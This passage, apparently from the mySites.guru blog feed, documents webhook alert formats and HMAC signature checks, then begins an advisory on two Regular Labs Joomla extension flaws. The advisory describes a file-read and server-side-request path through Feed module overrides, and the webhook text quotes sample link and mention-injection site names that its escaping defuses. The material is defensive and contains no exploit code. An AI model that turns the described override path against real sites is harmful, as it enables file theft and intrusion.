&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Slack-compatible&lt;/dt&gt;&lt;dd&gt;For Slack, Mattermost and Rocket.Chat. A colour-coded attachment with the site, the server and the time we checked.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Discord&lt;/dt&gt;&lt;dd&gt;An embed, red for down and green for back up, with mentions switched off.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Microsoft Teams (Workflows)&lt;/dt&gt;&lt;dd&gt;An Adaptive Card for the Workflows webhook trigger that replaced Office 365 connectors.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Google Chat&lt;/dt&gt;&lt;dd&gt;A text message with a bold headline, the site details and a Manage site link.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;JSON&lt;/dt&gt;&lt;dd&gt;A documented body with a signature header, for n8n, Zapier, Make and your own code.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;The URL has to be &lt;code&gt;https://&lt;/code&gt; on port 443 or 8443, with no username or password in it. We also check where the host resolves on every save, every test and every delivery, and we will not post to private or internal network addresses, because a webhook is a URL you choose that our servers then call.&lt;/p&gt;
&lt;h2&gt;Microsoft Teams after the Office 365 connector shutdown&lt;/h2&gt;
&lt;p&gt;Microsoft &lt;a href=&quot;https://devblogs.microsoft.com/microsoft365dev/retirement-of-office-365-connectors-within-microsoft-teams/&quot;&gt;retired Office 365 connectors in Teams&lt;/a&gt;, including the old Incoming Webhook connector. The deadline moved several times after the first announcement in July 2024, and the final switch-off was scheduled for 18 to 22 May 2026. If an old tool of yours still posts to a &lt;code&gt;webhook.office.com&lt;/code&gt; connector URL, that is the kind of URL the shutdown was aimed at.&lt;/p&gt;
&lt;p&gt;The replacement is Workflows. In Teams, add the &lt;a href=&quot;https://support.microsoft.com/en-us/workflows/send-messages-in-teams-using-incoming-webhooks&quot;&gt;Send webhook alerts to a channel&lt;/a&gt; template, choose the team and channel, and copy the URL it gives you. That URL goes into the mySites.guru card, and we post an Adaptive Card to it in the shape Microsoft’s &lt;a href=&quot;https://learn.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook&quot;&gt;Workflows webhook documentation&lt;/a&gt; expects: a bold title coloured by event, a line of detail, and the site, server and check time as facts.&lt;/p&gt;
&lt;p&gt;A Workflows webhook cannot set its own bot name or icon, so the alert appears in the channel as a Workflows post. There is no setting for it on our side or Microsoft’s.&lt;/p&gt;
&lt;h2&gt;Why does Google Chat get plain text?&lt;/h2&gt;
&lt;p&gt;Google Chat’s incoming webhook accepts only the fields in its own message format, and in our testing it answered anything else with an HTTP 400 error. None of the Slack, Discord or Teams shapes get through, so the Google Chat format is a &lt;code&gt;{&quot;text&quot;: &quot;...&quot;}&lt;/code&gt; message written in Chat’s own &lt;a href=&quot;https://developers.google.com/workspace/chat/format-messages&quot;&gt;formatting markup&lt;/a&gt;: the headline in &lt;code&gt;*bold*&lt;/code&gt;, a line of detail, the site, server and check time, and a &lt;code&gt;&amp;lt;url|Manage site&amp;gt;&lt;/code&gt; link straight to the site in mySites.guru.&lt;/p&gt;
&lt;p&gt;That &lt;code&gt;text&lt;/code&gt; value, with its line breaks shown as real lines, reads:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;*Example site is down*&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;https://example.com is not responding to our Uptime Monitor.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Site: https://example.com&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Checked: 2026-09-28 14:18 UTC&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;https://manage.mysites.guru/en/sites/manage/example|Manage site&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To create the URL, open the space in Google Chat, then the space menu, &lt;strong&gt;Apps &amp;amp; integrations&lt;/strong&gt;, &lt;strong&gt;Add webhooks&lt;/strong&gt;, as described in Google’s &lt;a href=&quot;https://developers.google.com/workspace/chat/quickstart/webhooks&quot;&gt;webhook quickstart&lt;/a&gt;. The URL includes a &lt;code&gt;key&lt;/code&gt; and a &lt;code&gt;token&lt;/code&gt;, so treat it like a password: anyone holding it can post into that space.&lt;/p&gt;
&lt;p&gt;Google allows &lt;a href=&quot;https://developers.google.com/workspace/chat/quickstart/webhooks&quot;&gt;one message per second per space&lt;/a&gt;, shared by every webhook in it. The limit shows up when a whole server goes down and takes twenty client sites with it: the alerts arrive in a burst and Google slows some of them with a 429 response. We treat a 429 as temporary and retry it, so the later alerts in a burst usually arrive a little late instead of going missing.&lt;/p&gt;
&lt;p&gt;Site names are text we did not write, so we also break up any &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt;, &lt;code&gt;~&lt;/code&gt;, backtick, &lt;code&gt;&amp;lt;&lt;/code&gt; or &lt;code&gt;&amp;gt;&lt;/code&gt; in them before they reach Chat. A site called &lt;code&gt;&amp;lt;https://example.com|Click here&amp;gt;&lt;/code&gt; stays visible as text and never becomes a link someone else chose.&lt;/p&gt;
&lt;h2&gt;Slack, Mattermost, Rocket.Chat and Discord&lt;/h2&gt;
&lt;p&gt;The Slack-compatible format uses Slack’s older &lt;a href=&quot;https://docs.slack.dev/legacy/legacy-messaging/legacy-secondary-message-attachments&quot;&gt;message attachments&lt;/a&gt; rather than Block Kit. Slack still supports attachments and calls them legacy, but &lt;a href=&quot;https://developers.mattermost.com/integrate/webhooks/incoming/&quot;&gt;Mattermost’s incoming webhooks&lt;/a&gt; ignore Block Kit and read attachments, and &lt;a href=&quot;https://developer.rocket.chat/apidocs/post-message&quot;&gt;Rocket.Chat&lt;/a&gt; accepts the same Slack-style attachment fields. One payload works in all three. The attachment is red for down, green for back up and blue for a test.&lt;/p&gt;
&lt;p&gt;If you already use the mySites.guru Slack app, which you connect from the same Integrations tab, you do not need a webhook for Slack. The webhook is for a second destination, or for a team that lives somewhere else.&lt;/p&gt;
&lt;p&gt;Discord gets an &lt;a href=&quot;https://docs.discord.com/developers/resources/webhook&quot;&gt;embed&lt;/a&gt; with the same colours, and we set Discord’s &lt;a href=&quot;https://docs.discord.com/developers/resources/message#allowed-mentions-object&quot;&gt;allowed mentions&lt;/a&gt; to an empty list, so a site named &lt;code&gt;@everyone&lt;/code&gt; cannot ping everyone on your server. The Slack family gets the same protection a different way, with an invisible zero-width space after each &lt;code&gt;@&lt;/code&gt;, so &lt;code&gt;@channel&lt;/code&gt; or &lt;code&gt;@here&lt;/code&gt; in a site name stays as plain text.&lt;/p&gt;
&lt;h2&gt;How do I verify a signed alert in n8n or my own code?&lt;/h2&gt;
&lt;p&gt;Each request we send has an &lt;code&gt;X-MySites-Signature&lt;/code&gt; header containing &lt;code&gt;sha256=&lt;/code&gt; followed by the hex HMAC-SHA256 of the &lt;code&gt;X-MySites-Timestamp&lt;/code&gt; value, a full stop, and the raw request body, keyed with your signing secret. Compute the same value on your side, compare the two with a constant-time function, and reject a timestamp more than five minutes old so a captured request cannot be replayed later.&lt;/p&gt;
&lt;p&gt;The scheme is close to how &lt;a href=&quot;https://docs.stripe.com/webhooks#verify-manually&quot;&gt;Stripe signs its webhooks&lt;/a&gt;, and the &lt;code&gt;sha256=&lt;/code&gt; prefix matches &lt;a href=&quot;https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries&quot;&gt;GitHub’s X-Hub-Signature-256&lt;/a&gt;. GitHub signs the body only; putting the timestamp inside the signed string is what makes the five-minute window enforceable.&lt;/p&gt;
&lt;p&gt;Each request also has an &lt;code&gt;X-MySites-Event&lt;/code&gt; header, which is &lt;code&gt;monitor.down&lt;/code&gt;, &lt;code&gt;monitor.up&lt;/code&gt; or &lt;code&gt;test&lt;/code&gt;. &lt;code&gt;X-MySites-Delivery&lt;/code&gt; holds a UUID that stays the same across retries, so a receiver can drop a duplicate. &lt;code&gt;User-Agent&lt;/code&gt; is &lt;code&gt;mySites.guru-Webhook/1.0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The JSON format sends this body:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;event&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;monitor.down&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;delivery_id&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;4f03fa9d-26a1-4590-83cc-332e25e986ac&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;occurred_at&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;2026-09-28T14:18:00+00:00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;source&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;mySites.guru&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;example&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Example site&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;https://example.com&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;server_hostname&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;manage_url&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;https://manage.mysites.guru/en/sites/manage/example&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;server_hostname&lt;/code&gt; is always present and is &lt;code&gt;null&lt;/code&gt; when we do not know the server, so your code does not need to treat the key as optional. Checking the signature in PHP is short:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$expected &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;sha256=&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; hash_hmac&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;sha256&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; $timestamp&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $rawBody,&lt;/span&gt;&lt;span&gt; $secret);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$tooOld   &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; abs&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;time&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; $timestamp) &lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; 300&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ($tooOld &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; !&lt;/span&gt;&lt;span&gt; hash_equals&lt;/span&gt;&lt;span&gt;($expected,&lt;/span&gt;&lt;span&gt; $signatureHeader)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    http_response_code&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;401&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    exit&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And in Node, for example inside an n8n Code node:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; crypto &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; require&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;crypto&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; expected &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;sha256=&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; +&lt;/span&gt;&lt;span&gt; crypto&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  .&lt;/span&gt;&lt;span&gt;createHmac&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;sha256&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, secret)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  .&lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;timestamp&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;rawBody&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  .&lt;/span&gt;&lt;span&gt;digest&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;hex&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; ok &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; expected.length &lt;/span&gt;&lt;span&gt;===&lt;/span&gt;&lt;span&gt; signatureHeader.length&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; crypto.&lt;/span&gt;&lt;span&gt;timingSafeEqual&lt;/span&gt;&lt;span&gt;(Buffer.&lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt;(expected), Buffer.&lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt;(signatureHeader));&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;ok &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; Math.&lt;/span&gt;&lt;span&gt;abs&lt;/span&gt;&lt;span&gt;(Date.&lt;/span&gt;&lt;span&gt;now&lt;/span&gt;&lt;span&gt;() &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; 1000&lt;/span&gt;&lt;span&gt; -&lt;/span&gt;&lt;span&gt; Number&lt;/span&gt;&lt;span&gt;(timestamp)) &lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; 300&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  throw&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; Error&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;Rejected: bad signature or old timestamp&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The signature has to be computed over the bytes we sent, not over JSON your tool has already parsed and re-encoded. In n8n, turn on the &lt;strong&gt;Raw Body&lt;/strong&gt; option on the &lt;a href=&quot;https://docs.n8n.io/integrations/builtin/core-nodes/n8n-nodes-base.webhook/&quot;&gt;Webhook node&lt;/a&gt;. In Zapier, use &lt;a href=&quot;https://help.zapier.com/hc/en-us/articles/8496288690317-Trigger-Zaps-from-webhooks&quot;&gt;Catch Raw Hook&lt;/a&gt; rather than Catch Hook, because only the raw version keeps the headers and the unchanged body. Make’s &lt;a href=&quot;https://help.make.com/webhooks&quot;&gt;Custom webhook&lt;/a&gt; receives the alert with no extra setup.&lt;/p&gt;
&lt;p&gt;The signing secret is created on your first save and appears on the card whenever the JSON format is selected, with Show, Copy and Regenerate buttons. All five formats are signed, but chat apps ignore the header, so the secret only matters to code you write. Regenerating it breaks any receiver still checking against the old one, and the card asks you to confirm first.&lt;/p&gt;
&lt;h2&gt;What happens when the webhook stops answering?&lt;/h2&gt;
&lt;p&gt;A delivery that fails for a temporary reason (a network error, a timeout, or an HTTP 408, 429 or any 5xx) is retried after 30 seconds, then 60, then 120: four attempts in all. Any other 4xx response is treated as final. So is a redirect, which we never follow, because following one would send your alert to an address we have not checked.&lt;/p&gt;
&lt;p&gt;After 10 failed deliveries in a row, the webhook pauses itself. The card then shows it as paused with a &lt;strong&gt;Resume&lt;/strong&gt; button, and a “Last sent” line under the buttons shows when the most recent delivery went out and what came back.&lt;/p&gt;
&lt;p&gt;We do not email you when a webhook pauses. An alerting feature that sends email because its own alerting has broken is how an inbox fills with noise on a bad night. Your down and up emails are separate and keep arriving whatever the webhook is doing, so pausing a webhook never leaves you blind.&lt;/p&gt;
&lt;h2&gt;Team accounts and who gets which alert&lt;/h2&gt;
&lt;p&gt;Each user has one webhook, and the people who receive an alert are the same people the Slack app notifies: the account owner, plus any &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt; who have access to that site. A team member limited to a handful of client sites only gets alerts for those sites, so a freelancer on your team can point their own Discord at just the sites they look after.&lt;/p&gt;
&lt;p&gt;If three people on the same account paste the same Slack channel URL, the alert is posted once. You can save a webhook on any account, but alerts are only sent, and Test only works, while the account has an active subscription.&lt;/p&gt;
&lt;p&gt;For everything else about how the monitor decides a site is down, and why an alert sometimes fires for a site that looks fine to you, read &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;why you’re getting downtime alerts&lt;/a&gt;. If you want to pull data rather than have it pushed, the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api/&quot;&gt;mySites.guru API&lt;/a&gt; and its &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api-site-summary/&quot;&gt;one-call site summary&lt;/a&gt; cover that side.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://devblogs.microsoft.com/microsoft365dev/retirement-of-office-365-connectors-within-microsoft-teams/&quot;&gt;Retirement of Office 365 connectors within Microsoft Teams&lt;/a&gt;, Microsoft’s own timeline of the connector shutdown and every deadline change.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook&quot;&gt;Create incoming webhooks with Workflows for Microsoft Teams&lt;/a&gt;, the replacement setup and its payload limits.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/workspace/chat/quickstart/webhooks&quot;&gt;Send messages to Google Chat with incoming webhooks&lt;/a&gt;, Google’s quickstart, including the per-space rate limit.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.stripe.com/webhooks#verify-manually&quot;&gt;Verify webhook signatures manually&lt;/a&gt;, Stripe’s explanation of the timestamp-plus-body signing scheme our JSON format follows.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.discord.com/developers/resources/message#allowed-mentions-object&quot;&gt;Discord’s allowed mentions object&lt;/a&gt;, the field that stops a webhook message pinging everyone.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>uptime</category><category>monitoring</category><category>alerts</category><category>webhooks</category><category>automation</category><enclosure url="https://mysites.guru/img/og/blog/uptime-alert-webhooks.png" length="0" type="image/png"/></item><item><title>Modules Anywhere 10.0.0 and Tabs &amp; Accordions 3.2.0 Close Two Content Author Security Holes</title><link>https://mysites.guru/blog/regular-labs-modules-anywhere-10-tabs-accordions-3-2-security/</link><guid isPermaLink="true">https://mysites.guru/blog/regular-labs-modules-anywhere-10-tabs-accordions-3-2-security/</guid><description>CVE-2026-100750 and CVE-2026-100751: Regular Labs fixed two High severity issues in Modules Anywhere 10.0.0 and Tabs &amp; Accordions 3.2.0 for Joomla.</description><pubDate>Sun, 27 Sep 2026 17:27:19 GMT</pubDate><content:encoded>&lt;p&gt;Regular Labs released &lt;a href=&quot;https://regularlabs.com/latest-releases&quot;&gt;Modules Anywhere 10.0.0 and Tabs &amp;amp; Accordions 3.2.0&lt;/a&gt; for Joomla on 27 September 2026, and each has a &lt;code&gt;[SECURITY FIX]&lt;/code&gt; entry in its changelog. Both close a way for someone with permission to write content to reach further than their role should allow: in Modules Anywhere, by changing the settings of any module they embed; in Tabs &amp;amp; Accordions, by placing JavaScript in a tab that runs in a visitor’s browser.&lt;/p&gt;
&lt;p&gt;These are Joomla extension fixes, not Joomla core. Regular Labs found and fixed them; we did not report them, and the vendor credits no one.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What to do now&lt;/p&gt;&lt;div&gt;&lt;p&gt;Update Modules Anywhere to 10.0.0 and Tabs &amp;amp; Accordions to 3.2.0, Free or Pro, on every Joomla 4, 5 and 6 site that runs them. If you updated Tabs &amp;amp; Accordions to 3.1.0 in September, that release does not include this fix. Modules Anywhere 10.0.0 is a breaking change, so check any page that overrides module settings in a tag after you update. On Joomla 3 there is no fixed Modules Anywhere: limit who can author content, or remove the extension.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Update, 28 September 2026: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100750/&quot;&gt;CVE-2026-100750&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100751/&quot;&gt;CVE-2026-100751&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The Joomla CNA has published both issues, and the records are wider than the changelog suggested.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.5&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100750/&quot;&gt;CVE-2026-100750&lt;/a&gt;Modules Anywhere: file read and server-side request forgery through module overrides&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;A content author could override any setting of a module they embedded. Joomla&apos;s Feed module fetches its URL on the server and accepts local file: URLs, so the override reads files from the server or reaches addresses only the server can see. Affects the Pro edition, 1.5.0 to 9.0.5.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Content author account needed&lt;/span&gt;&lt;span&gt;Pro edition&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:H&lt;/dt&gt;&lt;dd&gt;High: Needs an account with elevated rights&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
